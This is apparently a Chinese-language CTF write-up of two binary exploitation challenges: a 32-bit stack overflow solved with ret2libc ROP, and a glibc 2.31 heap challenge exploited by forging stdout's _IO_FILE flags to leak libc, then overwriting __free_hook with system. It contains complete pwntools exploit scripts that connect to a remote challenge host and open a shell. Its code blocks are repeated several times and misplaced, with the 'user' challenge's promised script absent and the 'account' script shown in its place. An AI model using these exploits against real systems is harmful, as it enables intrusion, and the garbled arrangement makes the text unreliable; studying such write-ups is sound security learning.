题目名：account

解题数：121

题目描述：无

知识点：数组越界访问、栈溢出、32位ROP

题目逻辑非常简单，只有一个vuln()函数：

我们输入的数据被存储到v0变量中，这里把v0[0]也识别成后续数组的一部分了，我们对其修复，把v0类型改成非数组即可：

vuln()函数会循环读取我们的4字节输入，然后修改v1[v2++] = v0，从v1[0]逐渐向栈中高地址处增长，这里存在栈溢出漏洞。

如果增长的次数足够多，我们可以覆盖old_rbp、ret_addr等数据。思路非常简单，我们直接向返回地址处写入ROP即可。

需要注意一点：修改v1[10]即修改变量v2，它是数组当前循环的下标，我们需要写入一个合法的值，否则会出错。

先将v1数组写满，然后修改v2变量为13（下次循环会修改v1[14]位置，即存储返回地址的位置）：

然后，写入第一次rop泄露libc地址：

然后，写入第二次rop直接ret2libc即可：

这里需要注意，32位程序中的地址均为4字节无符号整数，而程序使用scanf("%d", &v0)读入的是4字节有符号整数。

如果ROP中想写入的地址非常大，%d将无法读取，我们需要先将这个大数字转换为对应的负数，然后输入到程序中。

题目名：user

解题数：92

题目描述：无

知识点：IO_FILE结构体伪造、通过stdout泄露libc地址、glibc 2.31环境下的任意地址写利用

本题是一道典型的堆利用题目，但缺少直接的输出功能。

解题关键在于利用程序漏洞修改IO_FILE结构体，从而构造libc地址泄露的条件。

本文章详细解析输出函数的内部调用机制，解释IO_FILE结构体中的_flags字段为何常被伪造为0xfbad1800（或0xfbad1880）的特殊值。

题目给出2.31版本的glibc，将程序拖入IDA分析：

发现是经典的菜单题，各个函数逐个分析，先来看一下add()函数：

bss段全局变量heap数组用于存储最多5个chunk块的指针。如果有空闲位置申请0x50大小的chunk并读入0x40数据。

然后分析delete()函数：

允许我们输入idx，若heap[idx] != NULL则调用free()函数释放。这里只判断idx > 4的情况，没考虑idx可能为负数。

然后分析edit()函数：

允许我们修改heap[idx]的内容，最多输入0x40大小的数据。与delete()函数类似，没有判断idx是否为负数。

然后分析show()函数：

发现程序没有提供输出功能，只调用puts()函数告诉我们输出功能不可用。

题目逻辑非常简单，经典的glibc2.31版本下的菜单题目，没有提供show()函数但delete()和edit()的idx可以为负数。

我们看一下bss段中的heap数组所在位置：

可以发现，这个bss段非常干净，除了标准IO和程序内置用到的completed_8061变量外，没有其它可以利用的地方。

而题目没有提供输出功能，我们无法泄露信息，所以可以考虑通过输入负数idx修改标准IO泄露程序信息。

我们使用gdb调试程序，查看标准IO和heap在内存中的布局：

stdout距离heap为0x40大小字节，如果我们使用edit()函数修改heap[-8]就可以修改_IO_2_1_stdout_中的内容。

我们可以修改最多0x40字节大小的数据，如图所示：

如何通过stdout泄露程序信息呢？这其实是一种常见的套路。

在 glibc 中，stdout（标准输出）是一个 _IO_FILE 结构体对象。其内部有很多字段来维护输出缓冲区的状态，包括：

_IO_write_base: 当前写缓冲区的起始地址

_IO_write_ptr: 当前写指针（指向已经写入的末尾）

_IO_write_end: 写缓冲区的结尾

当使用 puts()、printf() 等函数向 stdout 写数据时，它们实际上是拷贝到 _IO_write_base 开始的内存区域中，然后等到 flush 的时候才输出。

如果我们可以修改_IO_write_base指针指向我们的目标地址，它在输出时就可以泄露出目标地址处的内容。

例如，上图中的_IO_write_base指向0x7f5b1231d723，如果我们将其最低为修改为\x08，则其指向0x7f5b1231d708，如下所示：

此时，程序再次输出时，会输出_IO_2_1_stdin_的地址，从而实现泄露libc地址。

但是，IO输出的逻辑非常复杂，仅仅修改_IO_write_base指针是完全不够的，我们还需要绕过一些检查。

跟进调用函数链：puts() -> _IO_puts() -> _IO_new_file_xsputn()，我们找到libc的源代码：

在进行一系列处理后调用 _IO_OVERFLOW -> _IO_new_file_OVERFLOW()：

满足一定的条件会调用 _IO_do_write() -> _IO_new_do_write() 函数：

它会继续调用 new_do_write() 函数：

此时，会出现多种情况：

而 _IO_SYSWRITE()会将_IO_write_base开始位置的缓冲区内容输出，我们的最终目的是调用它。

因此需要满足以下条件：

当 _IO_write_end > _IO_write_ptr 时，说明缓冲区还没有被写满，此时程序会先将输出的内容写到缓冲区，缓冲区满后再进行输出。为了不必要的麻烦，我们一般会让这两个指针相等，这样程序会直接调用_IO_new_file_overflow()函数继续处理。

在_IO_new_file_overflow()函数中，f->_flags & _IO_NO_WRITES 不能成立，否则会返回错误。

在_IO_new_file_overflow()函数中，(f->_flags & _IO_CURRENTLY_PUTTING) == 0 不能成立，否则程序会认为当前没有正在写缓冲区，会重新初始化缓冲区导致内容消失。

在new_do_write()函数中，我们直接让 fp->_IO_read_end == fp->_IO_write_base 即可满足条件并成功调用_IO_SYSWRITE()函数。

其中，_IO_CURRENTLY_PUTTING = 0x1000、_IO_IS_APPENDING = 0x800、_IO_IS_APPENDING = 0x80、_IO_NO_WRITES = 0x8。

因此，我们在覆盖stdout时，_flag字段应该为 0xfbad1800（同时，fp->_IO_read_end == fp->_IO_write_base） 或 0xfbad1880 即可。

编写脚本泄露libc地址：

获取了libc基地址后，如何利用呢？继续向上寻址，发现bss段存在一个a -> b -> a的指针：

我们可以继续利用eidt()函数的漏洞，修改heap[-11]位置指针指向的内容，将其改为__free_hook。

此时，__dso_handle -> __free_hook，我们再次修改heap[-11]位置指针指向的内容，即可修改__free_hook。

常规套路，我们修改__free_hook为system，然后调用delete()函数即可拿下shell。

脚本如下所示：

for i in range(10):

p.sendline(b'57005') # 0x1234

sleep(0.2)

# overwrite idx->13

p.sendline(b'13')

sleep(0.2)

for i in range(10):

p.sendline(b'57005') # 0x1234

sleep(0.2)

# overwrite idx->13

p.sendline(b'13')

sleep(0.2)

# rop1

main = 0x8049264

pop_ebx_ret = 0x08049022

# gdb.attach(p, 'b *0x80492C8\nc')

# pause()

p.sendline(str(elf.plt['puts']).encode())

sleep(0.2)

p.sendline(str(pop_ebx_ret).encode())

sleep(0.2)

p.sendline(str(elf.got['puts']).encode())

sleep(0.2)

p.sendline(str(main).encode())

sleep(0.2)

p.sendline(b'0')

p.recvuntil(b'Recording completed\n')

libc_base = u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00')) - 0x6d1e0

libc.address = libc_base

success("libc_base = " + hex(libc_base))

# rop1

main = 0x8049264

pop_ebx_ret = 0x08049022

# gdb.attach(p, 'b *0x80492C8\nc')

# pause()

p.sendline(str(elf.plt['puts']).encode())

sleep(0.2)

p.sendline(str(pop_ebx_ret).encode())

sleep(0.2)

p.sendline(str(elf.got['puts']).encode())

sleep(0.2)

p.sendline(str(main).encode())

sleep(0.2)

p.sendline(b'0')

p.recvuntil(b'Recording completed\n')

libc_base = u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00')) - 0x6d1e0

libc.address = libc_base

success("libc_base = " + hex(libc_base))

# rop2

for i in range(10):

p.sendline(b'57005') # 0x1234

sleep(0.2)

# overwrite idx->13

p.sendline(b'13')

sleep(0.2)

# gdb.attach(p, 'b *0x80492C8\nc')

# pause()

def to_signed(val):

return val if val < 0x80000000 else val - 0x100000000

p.sendline(str(to_signed(libc.sym['system'])).encode())

sleep(0.2)

p.sendline(str(pop_ebx_ret).encode())

sleep(0.2)

p.sendline(str(to_signed(next(libc.search(b'/bin/sh\x00')))).encode())

sleep(0.2)

p.sendline(b'0')

# rop2

for i in range(10):

p.sendline(b'57005') # 0x1234

sleep(0.2)

# overwrite idx->13

p.sendline(b'13')

sleep(0.2)

# gdb.attach(p, 'b *0x80492C8\nc')

# pause()

def to_signed(val):

return val if val < 0x80000000 else val - 0x100000000

p.sendline(str(to_signed(libc.sym['system'])).encode())

sleep(0.2)

p.sendline(str(pop_ebx_ret).encode())

sleep(0.2)

p.sendline(str(to_signed(next(libc.search(b'/bin/sh\x00')))).encode())

sleep(0.2)

p.sendline(b'0')

from pwn import *

elf = ELF("./account")

libc = ELF("./libc-2.31.so")

# p = process([elf.path])

p = remote("pss.idss-cn.com", 22117)

context(arch=elf.arch, os=elf.os)

context.log_level = 'debug'

for i in range(10):

p.sendline(b'57005') # 0x1234

sleep(0.2)

# overwrite idx->13

p.sendline(b'13')

sleep(0.2)

# rop1

main = 0x8049264

pop_ebx_ret = 0x08049022

# gdb.attach(p, 'b *0x80492C8\nc')

# pause()

p.sendline(str(elf.plt['puts']).encode())

sleep(0.2)

p.sendline(str(pop_ebx_ret).encode())

sleep(0.2)

p.sendline(str(elf.got['puts']).encode())

sleep(0.2)

p.sendline(str(main).encode())

sleep(0.2)

p.sendline(b'0')

p.recvuntil(b'Recording completed\n')

libc_base = u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00')) - 0x6d1e0

libc.address = libc_base

success("libc_base = " + hex(libc_base))

# rop2

for i in range(10):

p.sendline(b'57005') # 0x1234

sleep(0.2)

# overwrite idx->13

p.sendline(b'13')

sleep(0.2)

# gdb.attach(p, 'b *0x80492C8\nc')

# pause()

def to_signed(val):

return val if val < 0x80000000 else val - 0x100000000

p.sendline(str(to_signed(libc.sym['system'])).encode())

sleep(0.2)

p.sendline(str(pop_ebx_ret).encode())

sleep(0.2)

p.sendline(str(to_signed(next(libc.search(b'/bin/sh\x00')))).encode())

sleep(0.2)

p.sendline(b'0')

p.interactive()

from pwn import *

elf = ELF("./account")

libc = ELF("./libc-2.31.so")

# p = process([elf.path])

p = remote("pss.idss-cn.com", 22117)

context(arch=elf.arch, os=elf.os)

context.log_level = 'debug'

for i in range(10):

p.sendline(b'57005') # 0x1234

sleep(0.2)

# overwrite idx->13

p.sendline(b'13')

sleep(0.2)

# rop1

main = 0x8049264

pop_ebx_ret = 0x08049022

# gdb.attach(p, 'b *0x80492C8\nc')

# pause()

p.sendline(str(elf.plt['puts']).encode())

sleep(0.2)

p.sendline(str(pop_ebx_ret).encode())

sleep(0.2)

p.sendline(str(elf.got['puts']).encode())

sleep(0.2)

p.sendline(str(main).encode())

sleep(0.2)

p.sendline(b'0')

p.recvuntil(b'Recording completed\n')

libc_base = u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00')) - 0x6d1e0

libc.address = libc_base

success("libc_base = " + hex(libc_base))

# rop2

for i in range(10):

p.sendline(b'57005') # 0x1234

sleep(0.2)

# overwrite idx->13

p.sendline(b'13')

sleep(0.2)

# gdb.attach(p, 'b *0x80492C8\nc')

# pause()

def to_signed(val):

return val if val < 0x80000000 else val - 0x100000000

p.sendline(str(to_signed(libc.sym['system'])).encode())

sleep(0.2)

p.sendline(str(pop_ebx_ret).encode())

sleep(0.2)

p.sendline(str(to_signed(next(libc.search(b'/bin/sh\x00')))).encode())

sleep(0.2)

p.sendline(b'0')

p.interactive()

size_t _IO_new_file_xsputn( FILE *f, const void *data, size_t n )

{

const char *s      = (const char *) data;

size_t to_do   = n;

int must_flush  = 0;

size_t count   = 0;

if ( n <= 0 )    return(0);

/* This is an optimized implementation.

* If the amount to be written straddles a block boundary

* (or the filebuf is unbuffered), use sys_write directly. */

/* First figure out how much space is available in the buffer. */

if ( (f->_flags & _IO_LINE_BUF) && (f->_flags & _IO_CURRENTLY_PUTTING) )

{

count = f->_IO_buf_end - f->_IO_write_ptr;

if ( count >= n )

{

const char *p;

for ( p = s + n; p > s; )

{

if ( *--p == '\n' )

{

count       = p - s + 1;

must_flush  = 1;

break;

}

}

}

} else if ( f->_IO_write_end > f->_IO_write_ptr )

count = f->_IO_write_end - f->_IO_write_ptr;

/* Space available. */

/* Then fill the buffer. */

if ( count > 0 )

{

if ( count > to_do )

count = to_do;

f->_IO_write_ptr = __mempcpy( f->_IO_write_ptr, s, count );

s           += count;

to_do       -= count;

}

if ( to_do + must_flush > 0 )

{

size_t block_size, do_write;

/* Next flush the (full) buffer. */

if ( _IO_OVERFLOW( f, EOF ) == EOF )

/* If nothing else has to be written we must not signal the

*   caller that everything has been written.  */

return(to_do == 0 ? EOF : n - to_do);

/* Try to maintain alignment: write a whole number of blocks.  */

block_size  = f->_IO_buf_end - f->_IO_buf_base;

do_write    = to_do - (block_size >= 128 ? to_do % block_size : 0);

if ( do_write )

{

count   = new_do_write( f, s, do_write );

to_do   -= count;

if ( count < do_write )

return(n - to_do);

}

/* Now write out the remainder.  Normally, this will fit in the

* buffer, but it's somewhat messier for line-buffered files,

* so we let _IO_default_xsputn handle the general case. */

if ( to_do )

to_do -= _IO_default_xsputn( f, s + do_write, to_do );

}

return(n - to_do);

}

size_t _IO_new_file_xsputn( FILE *f, const void *data, size_t n )

{

const char *s      = (const char *) data;

size_t to_do   = n;

int must_flush  = 0;

size_t count   = 0;

if ( n <= 0 )    return(0);

/* This is an optimized implementation.

* If the amount to be written straddles a block boundary

* (or the filebuf is unbuffered), use sys_write directly. */

/* First figure out how much space is available in the buffer. */

if ( (f->_flags & _IO_LINE_BUF) && (f->_flags & _IO_CURRENTLY_PUTTING) )

{

count = f->_IO_buf_end - f->_IO_write_ptr;

if ( count >= n )

{

const char *p;

for ( p = s + n; p > s; )

{

if ( *--p == '\n' )

{

count       = p - s + 1;

must_flush  = 1;

break;

}

}

}

} else if ( f->_IO_write_end > f->_IO_write_ptr )

count = f->_IO_write_end - f->_IO_write_ptr;